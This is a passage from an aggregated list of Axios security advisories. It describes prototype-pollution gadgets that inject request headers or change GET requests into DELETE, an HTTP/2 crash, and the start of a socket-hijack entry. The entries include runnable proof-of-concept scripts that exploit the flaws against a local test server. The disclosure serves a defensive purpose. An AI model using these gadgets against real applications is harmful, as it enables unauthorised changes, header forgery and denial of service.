[OSV](https://osv.dev/vulnerability/GHSA-44g4-m2mj-wpvx) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders [CVE-2026-101900](https://nvd.nist.gov/vuln/detail/CVE-2026-101900) / [GHSA-4hqw-qxg8-jxx2](https://github.com/advisories/GHSA-4hqw-qxg8-jxx2) <details> <summary>More information</summary> #### Details ##### Summary Axios contains a guard in the Node HTTP adapter to avoid using an inherited `Object.prototype.getHeaders` as a FormData header source. The fetch adapter calls the shared `resolveConfig()` helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes `Object.prototype` with FormData-like properties and `getHeaders()`, the fetch adapter can merge attacker-controlled headers into the outbound request. Axios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path. ##### Impact An attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic. Plain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties. ##### Affected Functionality Affected: - Fetch adapter requests. - `resolveConfig()` handling of `utils.isFormData(data)`. - Request bodies that can be spoofed as FormData through inherited `Symbol.toStringTag`, `append`, and `getHeaders`. Not affected: - Node HTTP adapter's later FormData header path, which checks `data.getHeaders !== Object.prototype.getHeaders`. - Plain object request bodies rejected by current `isFormData()` plain-object guard. - Processes without prototype pollution. ##### Technical Details `lib/helpers/resolveConfig.js` currently contains: ```js if (utils.isFormData(data)) { if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) { headers.setContentType(undefined); } else if (utils.isFunction(data.getHeaders)) { setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy')); } } ``` Unlike `lib/adapters/http.js`, this code does not reject `Object.prototype.getHeaders`. Local verification on axios `1.18.1` polluted `Object.prototype[Symbol.toStringTag]`, `append`, and `getHeaders`, then sent an array body with `adapter: 'fetch'`. The loopback server received `X-Poisoned: yes`. ##### Proof of Concept of Attack Constrained local demonstration: ```js Object.prototype[Symbol.toStringTag] = 'FormData'; Object.prototype.append = function () {}; Object.prototype.getHeaders = () => ({ 'X-Poisoned': 'yes' }); await axios.post(url, ['a', 'b'], { adapter: 'fetch' }); ``` Expected safe behavior is that inherited `Object.prototype.getHeaders` is ignored. Current affected behavior merges the returned header. ##### Workarounds Use the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected. <details> <summary><h3>Original report</h3></summary> ##### Summary The Node HTTP adapter contains a guard that prevents `Object.prototype.getHeaders` from being used as a FormData header source. The shared `resolveConfig()` helper does not have the same guard. The fetch adapter calls `resolveConfig()`, so it can still merge headers returned by inherited `data.getHeaders()`. This is a patch mismatch for the FormData prototype-pollution header-injection class. ##### Affected Version Validated on: - axios: `1.17.0` - commit: `4306df2` - runtime: Node.js `v24.15.0` ##### Preconditions - Application uses `adapter: 'fetch'`. - A separate prototype-pollution primitive can write: - `Object.prototype[Symbol.toStringTag] = 'FormData'` - `Object.prototype.append = function () {}` - `Object.prototype.getHeaders = function () { ... }` - The request body is an array or custom class instance. Plain objects are blocked by the current `isFormData()` plain-object guard. ##### Root Cause `lib/adapters/http.js` contains: ```js data.getHeaders !== Object.prototype.getHeaders ``` But `lib/helpers/resolveConfig.js` only checks: ```js } else if (utils.isFunction(data.getHeaders)) { setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy')); } ``` The fetch adapter calls `resolveConfig(config)` before dispatching the request. ##### Impact An attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks. ##### Proof of Concept ```js import axios from './index.js'; import http from 'http'; const start = (handler) => new Promise((resolve) => { const server = http.createServer((req, res) => { let body = ''; req.on('data', (chunk) => (body += chunk)); req.on('end', () => handler(req, res, body)); }); server.listen(0, '127.0.0.1', () => resolve(server)); }); const stop = (server) => new Promise((resolve) => server.close(resolve)); const hits = []; const tag = Symbol.toStringTag; const server = await start((req, res, body) => { hits.push({ headers: req.headers, body }); res.setHeader('Content-Type', 'application/json'); res.end('{"ok":true}'); }); try { Object.prototype[tag] = 'FormData'; Object.prototype.append = function () {}; Object.prototype.getHeaders = () => { const headers = Object.create(null); headers['X-Poisoned'] = 'yes'; return headers; }; await axios.post(`http://127.0.0.1:${server.address().port}/fetch-formdata`, ['a', 'b'], { adapter: 'fetch', timeout: 3000 }); console.log(hits[0]); } finally { delete Object.prototype[tag]; delete Object.prototype.append; delete Object.prototype.getHeaders; await stop(server); } ``` Observed wire request: ```json { "headers": { "x-poisoned": "yes", "content-type": "text/plain;charset=UTF-8", "content-length": "3" }, "body": "a,b" } ``` ##### References - https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9 - https://osv.dev/vulnerability/GHSA-6chq-wfr3-2hj9 - Related patch area: `lib/adapters/http.js`, `lib/helpers/resolveConfig.js` </details> --- #### Severity - CVSS Score: 6.9 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-4hqw-qxg8-jxx2](https://github.com/axios/axios/security/advisories/GHSA-4hqw-qxg8-jxx2) - [https://nvd.nist.gov/vuln/detail/CVE-2026-101900](https://nvd.nist.gov/vuln/detail/CVE-2026-101900) - [https://github.com/axios/axios/pull/11141](https://github.com/axios/axios/pull/11141) - [https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a](https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a) - [https://github.com/axios/axios](https://github.com/axios/axios) - [https://github.com/axios/axios/releases/tag/v1.20.0](https://github.com/axios/axios/releases/tag/v1.20.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-4hqw-qxg8-jxx2) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Denial of Service via Unhandled 'error' Event in HTTP/2 ClientHttp2Session Initialization [CVE-2026-101901](https://nvd.nist.gov/vuln/detail/CVE-2026-101901) / [GHSA-542g-h47m-68v8](https://github.com/advisories/GHSA-542g-h47m-68v8) <details> <summary>More information</summary> #### Details ##### Summary Axios versions with Node.js HTTP/2 support can terminate the caller’s process when a ClientHttp2Session emits an error event that is not handled by axios. This affects applications that use the Node HTTP adapter with httpVersion: 2. A malicious, unavailable, or non-HTTP/2 endpoint can cause an uncaught exception instead of a normal rejected axios request. ##### Impact The impact is denial of service. In affected applications, an attacker who can influence the request destination, or operate the destination server, may be able to crash the Node.js process. This does not affect default HTTP/1.1 usage, browser XHR/fetch adapters, or applications that do not enable axios HTTP/2 support. ##### Affected Functionality Affected path: - Node.js HTTP adapter - httpVersion: 2 - HTTP/2 session creation/reuse through Http2Sessions - Network/session failures emitted as ClientHttp2Session error events Caller-controlled http2Options can make the issue easier to trigger, but passing arbitrary attacker input into axios config is caller-controlled behavior and should not be the primary advisory framing. ##### Technical Details Http2Sessions.getSession() creates a session with http2.connect(authority, options) but only registers a close handler. It does not register an error handler on the returned ClientHttp2Session. When the session emits error, Node treats it as an unhandled EventEmitter error and throws. This can bypass the normal axios Promise rejection path and terminate the process. ##### Proof of Concept of Attack ```js import axios from './index.js'; await axios.get('http://127.0.0.1:1/', { httpVersion: 2, timeout: 1000 }); ``` Expected vulnerable behavior: the process exits with an uncaught ECONNREFUSED session error instead of only rejecting the axios request. ##### Workarounds Disable axios HTTP/2 for untrusted or user-influenced destinations and use the default HTTP/1.1 adapter until a fixed release is available. Also avoid passing attacker-controlled values into http2Options; axios config is trusted application input. <details> <summary><h3>Original report</h3></summary> Hi, i'm RelunSec a security researcher working with **InsiteTech.jp** i want let you known, i finded a DoS in axios, to reproduce that, that is the example of a server ```js const http = require('http'); // Import the local axios version to ensure the patch is active const axios = require('../../lib/axios.js').default; const url = require('url'); // A public HTTP/2 server to make internal requests to. // This simulates an external service your application might interact with over HTTP/2. const TARGET_URL = 'https://nghttp2.org/'; const PORT = 3000; const server = http.createServer(async (req, res) => { const parsedUrl = url.parse(req.url, true); const http2optionId = parsedUrl.query.http2optionId; if (!http2optionId) { console.warn(`[SERVER] Rejected request: Missing http2optionId parameter`); res.writeHead(400, { 'Content-Type': 'text/plain' }); res.end('Error: Missing http2optionId query parameter. Usage: ?http2optionId=value\n'); return; } console.log(`[SERVER] Received request with http2optionId: ${http2optionId}`); // Create an Axios instance configured for HTTP/2 // The 'id' in http2Options makes each session configuration unique. const axiosInstance = axios.create({ baseURL: TARGET_URL, httpVersion: 2, http2Options: { // rejectUnauthorized: false, // Uncomment if targeting a local HTTP/2 server with self-signed cert id: http2optionId, // This is the attacker-controlled unique part }, // Adding a short timeout to prevent attacker from waiting too long if target is slow timeout: 5000 }); try { const response = await axiosInstance.get('/'); res.writeHead(200, { 'Content-Type': 'text/plain' }); res.end(`Internal HTTP/2 request successful for ID: ${http2optionId}\nStatus: ${response.status}`); } catch (error) { // Check for the specific error indicating session limit reached if (error.isAxiosError && error.code === axios.AxiosError.ERR_BAD_OPTION_VALUE) { console.error(`[SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}`); res.writeHead(500, { 'Content-Type': 'text/plain' }); res.end(`Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}`); } else { console.error(`[SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}:`, error.message); res.writeHead(500, { 'Content-Type': 'text/plain' }); res.end(`Internal HTTP/2 request failed for ID: ${http2optionId}: Generic error - ${error.message}`); } } }); server.listen(PORT, () => { console.log(`PoC Server listening on http://localhost:${PORT}`); console.log(`Targeting internal HTTP/2 requests to: ${TARGET_URL}`); console.log(`Send requests to http://localhost:${PORT}?http2optionId=...`); console.log(`Expected behavior with current patch: After ~100 unique http2optionIds, subsequent requests will receive ERR_BAD_OPTION_VALUE.`); }); ``` i tested all that in latest git version, after starting the server.cjs, to trigger that you just need do ```rust relunsec@relunsec:~/software/axios-1/poc/poc$ curl http://127.0.0.1:3000/?http2optionId=hi curl: (52) Empty reply from server ``` that is extremly simple to trigger it confirms a DoS in the HTTP/2 session cache, that needs be patched, the impact is will lead the server crashes and shutdown by an attacker, the server is written properly and no flaws in it and try catch blocks and errors handled however because that is an axios internal error will crash </details> --- #### Severity - CVSS Score: 8.2 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-542g-h47m-68v8](https://github.com/axios/axios/security/advisories/GHSA-542g-h47m-68v8) - [https://nvd.nist.gov/vuln/detail/CVE-2026-101901](https://nvd.nist.gov/vuln/detail/CVE-2026-101901) - [https://github.com/axios/axios/pull/11141](https://github.com/axios/axios/pull/11141) - [https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a](https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a) - [https://github.com/axios/axios](https://github.com/axios/axios) - [https://github.com/axios/axios/releases/tag/v1.20.0](https://github.com/axios/axios/releases/tag/v1.20.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-542g-h47m-68v8) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Prototype-Pollution Gadget in the Default Instance Allows Inherited Object.prototype.method to Override HTTP Method [CVE-2026-101902](https://nvd.nist.gov/vuln/detail/CVE-2026-101902) / [GHSA-9fr6-4gfg-395g](https://github.com/advisories/GHSA-9fr6-4gfg-395g) <details> <summary>More information</summary> #### Details ##### Summary Axios default-instance requests that omit an explicit method can read an inherited `method` value from `Object.prototype`. If another vulnerability in the same process pollutes `Object.prototype.method`, calls such as `axios.request({ url })` and `axios({ url })` can send a state-changing HTTP method instead of the expected default `GET`. Axios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch. ##### Impact In an affected application with a separate prototype-pollution primitive, an attacker can change axios default-instance requests that omit `method` from `GET` to methods such as `DELETE`, `POST`, `PUT`, or `PATCH`. The practical impact depends on the target endpoint and can include unintended writes, deletion, or other state changes. Method aliases such as `axios.get(url)` and requests with an explicit own `method` are not affected by the confirmed method path. ##### Affected Functionality Affected: - Default axios instance calls: `axios.request({ url })`. - Callable shorthand: `axios({ url })`. - Requests where no own `config.method` is provided. Not affected in the confirmed method PoC: - `axios.get(url)` and other method aliases. - `axios.request({ url, method: 'GET' })`. - `axios.create().request({ url })` when the created instance defaults are produced by current `mergeConfig()` and do not inherit from `Object.prototype`. ##### Technical Details `lib/core/Axios.js` sets the request method with: ```js config.method = (config.method || this.defaults.method || 'get').toLowerCase(); ``` `mergeConfig()` now returns a null-prototype request config, so `config.method` is safe from `Object.prototype`. However, the default axios instance stores the module defaults object as `this.defaults`, and that defaults object is a normal object. If `Object.prototype.method` exists, `this.defaults.method` resolves to the polluted inherited value. Local verification on axios `1.18.1` showed a default-instance `axios.request({ url })` request reaching a loopback server as `DELETE` after `Object.prototype.method = 'DELETE'`. ##### Proof of Concept of Attack Constrained local demonstration: ```js Object.prototype.method = 'DELETE'; try { await axios.request({ url: 'http://127.0.0.1:<port>/resource' }); } finally { delete Object.prototype.method; } ``` Expected safe behavior is a `GET` request. Current affected behavior sends `DELETE` on the default instance when no method is provided. ##### Workarounds Use explicit method aliases such as `axios.get()` or set an own `method` on request configs. Avoid default-instance shorthand for requests in processes where prototype pollution is suspected or possible. <details> <summary><h3>Original report</h3></summary> ##### Summary Axios `1.17.0` contains a read-side prototype-pollution gadget in the default Axios instance. If another vulnerability in the same Node.js process pollutes `Object.prototype.method`, default-instance calls such as `axios.request({ url })` and `axios({ url })` can be forced to use an attacker-controlled HTTP method, such as `DELETE`, instead of the expected default `GET`. Axios does not create the prototype pollution by itself. The issue is that Axios reads fallback values from `this.defaults` without an own-property guard, allowing inherited values from `Object.prototype` to influence request behavior. This should be treated as a prototype-pollution gadget, not as a standalone prototype-pollution source. In other words, Axios is not the component that lets the attacker write to `Object.prototype`; Axios is the component that becomes dangerous after `Object.prototype` has already been polluted by another bug in the same process. ##### Details The vulnerable fallback read is in `lib/core/Axios.js`: ```js // Set config.allowAbsoluteUrls if (config.allowAbsoluteUrls !== undefined) { // do nothing } else if (this.defaults.allowAbsoluteUrls !== undefined) { config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls; } else { config.allowAbsoluteUrls = true; } // Set config.method config.method = (config.method || this.defaults.method || 'get').toLowerCase(); ``` The merged request `config` is created as a null-prototype object in `lib/core/mergeConfig.js`: ```js const config = Object.create(null); ``` Therefore, when the caller does not provide `config.method`, the fallback becomes: ```js this.defaults.method ``` The default Axios instance uses the module defaults object. In the tested version, that defaults object is affected by inherited properties from `Object.prototype`. If `Object.prototype.method` is polluted, `this.defaults.method` resolves to that inherited value and Axios uses it as the request method. The same unsafe inherited-property pattern also affects `this.defaults.allowAbsoluteUrls`, which can change how absolute URLs are combined with `baseURL`. ##### Proof of Concept ##### Access and Attack Conditions No admin access is required for Axios itself. This is a library-level gadget. The attacker must have an existing way to pollute `Object.prototype` in the same Node.js process, for example through a separate prototype-pollution vulnerability in another dependency or application input path. Axios is the gadget that turns that pollution into dangerous HTTP request behavior. Required condition: ```text Some other bug or unsafe merge path in the application must allow Object.prototype pollution. ``` What Axios contributes: ```text Axios reads inherited Object.prototype.method through this.defaults.method and uses it as the HTTP method fallback. ``` What Axios does not do: ```text Axios does not create Object.prototype pollution by itself. ``` Affected usage: ```js axios.request({ url }); axios({ url }); ``` Not affected in the confirmed PoC: ```js axios.get(url); axios.request({ url, method: "GET" }); axios.create().request({ url }); ``` ##### Reproduction Steps 1. Create a clean test directory and install Axios `1.17.0`: ```powershell mkdir axios-validation cd axios-validation npm init -y npm install axios@1.17.0 --no-audit --no-fund ``` 2. Save the method override PoC below as: ```text validate-prototype-method-gadget.mjs ``` 3. Run the PoC: ```powershell node validate-prototype-method-gadget.mjs ``` 4. Confirm that the output shows: ```text defaultRequestMethod=DELETE defaultShorthandMethod=DELETE getAliasMethod=GET explicitGetMethod=GET createdInstanceMethod=GET RESULT: CONFIRMED ``` 5. This proves that after `Object.prototype.method = "DELETE"`, default-instance calls that omit an explicit method are sent as `DELETE`. ##### What the Method PoC Script Does The PoC starts a temporary local HTTP server for each Axios call and records the HTTP method received by that server. It then simulates an already-existing prototype-pollution condition by setting: ```js Object.prototype.method = "DELETE"; ``` While that pollution is active, the script sends five Axios requests: ```js axios.request({ url }); // expected vulnerable path axios({ url }); // expected vulnerable shorthand path axios.get(url); // expected safe alias path axios.request({ url, method: "GET" }); // expected safe explicit-method path axios.create().request({ url }); // expected safe isolated-instance path ``` The script then deletes the polluted property: ```js delete Object.prototype.method; ``` Finally, it prints the method observed by the local server for each request. The vulnerable behavior is confirmed when the default Axios instance sends `DELETE` for `axios.request({ url })` and `axios({ url })`, while the safe comparison paths still send `GET`. ##### Method Override PoC Create `validate-prototype-method-gadget.mjs`: ```js import http from "node:http"; import axios from "axios"; async function listen(server) { await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); return server.address().port; } async function runRequest(label, requestFn) { const hits = []; const server = http.createServer((req, res) => { hits.push({ method: req.method, url: req.url, }); res.writeHead(200, { "content-type": "application/json" }); res.end(JSON.stringify({ ok: true })); }); const port = await listen(server); const url = `http://127.0.0.1:${port}/${label}`; let status = "completed"; let error = ""; try { await requestFn(url); } catch (err) { status = "error"; error = err?.message || String(err); } server.close(); return { label, status, error, hits }; } const results = []; Object.prototype.method = "DELETE"; try { results.push(await runRequest("default-request-no-method", (url) => axios.request({ url }))); results.push(await runRequest("default-shorthand-no-method", (url) => axios({ url }))); results.push(await runRequest("default-get-alias", (url) => axios.get(url))); results.push(await runRequest("default-request-explicit-get", (url) => axios.request({ url, method: "GET" }))); const instance = axios.create(); results.push(await runRequest("created-instance-request-no-method", (url) => instance.request({ url }))); } finally { delete Object.prototype.method; } const defaultRequestMethod = results.find((r) => r.label === "default-request-no-method")?.hits[0]?.method || ""; const defaultShorthandMethod = results.find((r) => r.label === "default-shorthand-no-method")?.hits[0]?.method || ""; const getAliasMethod = results.find((r) => r.label === "default-get-alias")?.hits[0]?.method || ""; const explicitGetMethod = results.find((r) => r.label === "default-request-explicit-get")?.hits[0]?.method || ""; const createdInstanceMethod = results.find((r) => r.label === "created-instance-request-no-method")?.hits[0]?.method || ""; console.log(`axiosVersion=${axios.VERSION}`); console.log(`results=${JSON.stringify(results)}`); console.log(`defaultRequestMethod=${defaultRequestMethod}`); console.log(`defaultShorthandMethod=${defaultShorthandMethod}`); console.log(`getAliasMethod=${getAliasMethod}`); console.log(`explicitGetMethod=${explicitGetMethod}`); console.log(`createdInstanceMethod=${createdInstanceMethod}`); const confirmed = defaultRequestMethod === "DELETE" && defaultShorthandMethod === "DELETE" && getAliasMethod === "GET" && explicitGetMethod === "GET" && createdInstanceMethod === "GET"; console.log(confirmed ? "RESULT: CONFIRMED" : "RESULT: NOT CONFIRMED"); process.exitCode = confirmed ? 0 : 1; ``` Run: ```powershell node validate-prototype-method-gadget.mjs ``` Observed result: ```text axiosVersion=1.17.0 defaultRequestMethod=DELETE defaultShorthandMethod=DELETE getAliasMethod=GET explicitGetMethod=GET createdInstanceMethod=GET RESULT: CONFIRMED ``` The local server received: ```text axios.request({ url }) -> DELETE axios({ url }) -> DELETE axios.get(url) -> GET axios.request({ url, method:"GET" }) -> GET axios.create().request({ url }) -> GET ``` This confirms that inherited `Object.prototype.method` controls the default method for vulnerable default-instance request paths. ##### Supporting `allowAbsoluteUrls` Gadget Evidence The same inherited-property issue affects `allowAbsoluteUrls`. Create `validate-prototype-allowabsoluteurls-gadget.mjs`: ```js import http from "node:http"; import axios from "axios"; async function listen(server) { await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); return server.address().port; } async function runCase(label, requestFn) { const baseHits = []; const absoluteHits = []; const baseServer = http.createServer((req, res) => { baseHits.push({ method: req.method, url: req.url, host: req.headers.host || "" }); res.end("base"); }); const absoluteServer = http.createServer((req, res) => { absoluteHits.push({ method: req.method, url: req.url, host: req.headers.host || "" }); res.end("absolute"); }); const basePort = await listen(baseServer); const absolutePort = await listen(absoluteServer); try { await requestFn({ baseURL: `http://127.0.0.1:${basePort}/api`, url: `http://127.0.0.1:${absolutePort}/absolute-path`, }); } catch {} baseServer.close(); absoluteServer.close(); return { label, baseHits, absoluteHits }; } const results = []; results.push(await runCase("baseline-no-pollution", (config) => axios.request(config))); Object.prototype.allowAbsoluteUrls = false; try { results.push(await runCase("polluted-default-request", (config) => axios.request(config))); const instance = axios.create(); results.push(await runCase("polluted-created-instance", (config) => instance.request(config))); } finally { delete Object.prototype.allowAbsoluteUrls; } console.log(`axiosVersion=${axios.VERSION}`); console.log(`results=${JSON.stringify(results)}`); ``` Observed result: ```text axiosVersion=1.17.0 baselineUsedAbsolute=true pollutedDefaultUsedBase=true pollutedInstanceUsedAbsolute=true RESULT: CONFIRMED ``` Without pollution, Axios sends the request to the absolute URL. After `Object.prototype.allowAbsoluteUrls = false`, the default Axios instance combines the absolute URL with `baseURL` and sends the request to the base server instead. An instance created with `axios.create()` remains unaffected. ##### Impact This is a prototype-pollution gadget. It becomes exploitable when an application has any separate prototype-pollution primitive that allows an attacker to set properties on `Object.prototype` in the same Node.js process. If such pollution is possible, an attacker can influence Axios default-instance requests that omit an explicit method: - `axios.request({ url })` - `axios({ url })` This can turn an expected safe default `GET` request into a state-changing method such as: - `DELETE` - `POST` - `PUT` - `PATCH` Potential impact includes unauthorized state-changing requests, deletion of resources, unintended writes, data corruption, or denial of service when the target endpoint treats the HTTP method as security-relevant. The issue does not require admin access to Axios itself, but it does require an existing prototype-pollution path in the application. Applications that always use explicit methods, method aliases such as `axios.get()`, or isolated instances created through `axios.create()` are not affected by the confirmed method-override path. </details> --- #### Severity - CVSS Score: 6.9 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-9fr6-4gfg-395g](https://github.com/axios/axios/security/advisories/GHSA-9fr6-4gfg-395g) - [https://nvd.nist.gov/vuln/detail/CVE-2026-101902](https://nvd.nist.gov/vuln/detail/CVE-2026-101902) - [https://github.com/axios/axios/pull/11141](https://github.com/axios/axios/pull/11141) - [https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a](https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a) - [https://github.com/axios/axios](https://github.com/axios/axios) - [https://github.com/axios/axios/releases/tag/v0.34.0](https://github.com/axios/axios/releases/tag/v0.34.0) - [https://github.com/axios/axios/releases/tag/v1.20.0](https://github.com/axios/axios/releases/tag/v1.20.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-9fr6-4gfg-395g) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Header Injection via Inherited headers After Minimal Interceptor [CVE-2026-101904](https://nvd.nist.gov/vuln/detail/CVE-2026-101904) / [GHSA-j8rh-479h-cp32](https://github.com/advisories/GHSA-j8rh-479h-cp32) <details> <summary>More information</summary> #### Details ##### Summary Axios request interceptors may return a replacement config object. If an interceptor returns a plain object without an own `headers` property, `dispatchRequest()` later evaluates `config.headers` and can resolve an inherited `Object.prototype.headers` value. In a process where another vulnerability has polluted `Object.prototype.headers`, axios can send attacker-controlled headers. Axios does not create the prototype pollution source, and the interceptor itself is trusted caller code. The vulnerable behavior is the post-interceptor axios config read that reopens a prototype-pollution gadget after earlier null-prototype config hardening. ##### Impact An attacker with a prior same-process prototype-pollution primitive can inject headers into affected axios requests when the application uses an interceptor that rebuilds config and omits headers. Depending on the target service, injected headers can affect cache behavior, conditional requests, metadata services, or application-specific authorization and routing logic. The issue is conditional and should not be described as affecting every interceptor or every request. ##### Affected Functionality Affected: - Request interceptor chains where an interceptor returns a new ordinary object. - Replacement config objects that omit an own `headers` property. - `dispatchRequest()` header normalization through `AxiosHeaders.from(config.headers)`. Not affected: - Requests whose interceptor preserves an own `headers` property. - Interceptors that mutate and return the existing null-prototype config. - Processes without prototype pollution. ##### Technical Details `lib/core/dispatchRequest.js` contains: ```js config.headers = AxiosHeaders.from(config.headers); ``` The initial merged config is null-prototype, but an interceptor can replace it with a normal object. If that object has no own `headers`, the read can resolve `Object.prototype.headers`. Local verification on axios `1.18.1` polluted `Object.prototype.headers = { 'X-Poisoned': 'yes' }`, installed an interceptor that returned `{ url, method, timeout, proxy: false }`, and sent a request. The loopback server received `X-Poisoned: yes`. ##### Proof of Concept of Attack Constrained local demonstration: ```js Object.prototype.headers = { 'X-Poisoned': 'yes' }; const client = axios.create(); client.interceptors.request.use((config) => ({ url: config.url, method: config.method, timeout: config.timeout })); await client.get(url); ``` Expected safe behavior is that missing headers normalize to an empty header set. Current affected behavior reads inherited `Object.prototype.headers`. ##### Workarounds Interceptors that rebuild config should always set an own `headers` property, for example by preserving `config.headers` or setting `headers: {}`. Mutating and returning the existing merged config also avoids replacing the null-prototype object. <details> <summary><h3>Original report</h3></summary> ##### Summary Axios 1.17.0 blocks the old `Object.prototype.common` header bucket gadget. However, if a request interceptor rebuilds a minimal config object and omits `headers`, `dispatchRequest()` reads inherited `Object.prototype.headers`. This allows attacker-controlled headers to be placed on the wire. ##### Affected Version Validated on: - axios: `1.17.0` - commit: `4306df2` - runtime: Node.js `v24.15.0` ##### Preconditions - A separate prototype-pollution primitive can write an object to `Object.prototype.headers`. - A request interceptor rebuilds config and omits own `headers`. ##### Root Cause `dispatchRequest()` uses: ```js config.headers = AxiosHeaders.from(config.headers); ``` If `config` is a normal object returned by an interceptor and lacks own `headers`, this reads `Object.prototype.headers`. ##### Impact An attacker can inject request headers. Depending on the target service, this can cause cache manipulation, conditional-response suppression, request smuggling preconditions, metadata-service header injection, or application-specific authorization bypass. ##### Proof of Concept ```js import axios from './index.js'; import http from 'http'; const start = (handler) => new Promise((resolve) => { const server = http.createServer(handler); server.listen(0, '127.0.0.1', () => resolve(server)); }); const stop = (server) => new Promise((resolve) => server.close(resolve)); const hits = []; const server = await start((req, res) => { hits.push(req.headers); res.setHeader('Content-Type', 'application/json'); res.end('{"ok":true}'); }); try { Object.prototype.headers = { 'X-Poisoned': 'yes', 'If-None-Match': '*' }; const client = axios.create(); client.interceptors.request.use((config) => ({ url: config.url, method: config.method, timeout: config.timeout })); await client.get(`http://127.0.0.1:${server.address().port}/headers`, { timeout: 3000 }); console.log(hits[0]); } finally { delete Object.prototype.headers; await stop(server); } ``` Observed wire headers: ```json { "x-poisoned": "yes", "if-none-match": "*", "user-agent": "axios/1.17.0" } ``` ##### References - https://github.com/axios/axios/security/advisories/GHSA-898c-q2cr-xwhg - https://osv.dev/vulnerability/GHSA-898c-q2cr-xwhg </details> --- #### Severity - CVSS Score: 6.9 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-j8rh-479h-cp32](https://github.com/axios/axios/security/advisories/GHSA-j8rh-479h-cp32) - [https://nvd.nist.gov/vuln/detail/CVE-2026-101904](https://nvd.nist.gov/vuln/detail/CVE-2026-101904) - [https://github.com/axios/axios/pull/11141](https://github.com/axios/axios/pull/11141) - [https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a](https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a) - [https://github.com/axios/axios](https://github.com/axios/axios) - [https://github.com/axios/axios/releases/tag/v1.20.0](https://github.com/axios/axios/releases/tag/v1.20.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-j8rh-479h-cp32) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection [CVE-2026-101905](https://nvd.nist.gov/vuln/detail/CVE-2026-101905) / [GHSA-m8m8-qj5v-23w3](https://github.com/advisories/GHSA-m8m8-qj5v-23w3) <details> <summary>More information</summary> #### Details ##### Summary Axios' Node HTTP adapter can act as a read-side prototype-pollution gadget for Node's sensitive `createConnection` request option. The adapter creates a null-prototype options object, but Node's HTTP client can copy or normalize request options into ordinary objects before connection creation. If `Object.prototype.createConnection` has been polluted elsewhere in the same process, Node can call the inherited function and create a socket to an attacker-controlled endpoint. Axios does not create the prototype pollution source. The vulnerability is that axios does not set an own safe value for a sensitive transport option before handing options to Node. ##### Impact Given a prior same-process prototype-pollution primitive, an attacker can redirect later axios Node HTTP requests at the socket layer while the request URL and axios config still appear to target the legitimate origin. The attacker-controlled endpoint can receive request headers and bodies, including Authorization headers, cookies, API keys, and service credentials, and can return attacker-controlled responses to the application. This can bypass application destination validation that checks the URL before calling axios, because the URL remains legitimate while the underlying socket goes elsewhere. ##### Affected Functionality Affected: - Node.js HTTP adapter. - HTTP and HTTPS request paths that rely on Node/follow-redirects option processing and do not set an own safe `createConnection`. - Processes where `Object.prototype.createConnection` is polluted. Not affected: - Browser adapters. - Processes without 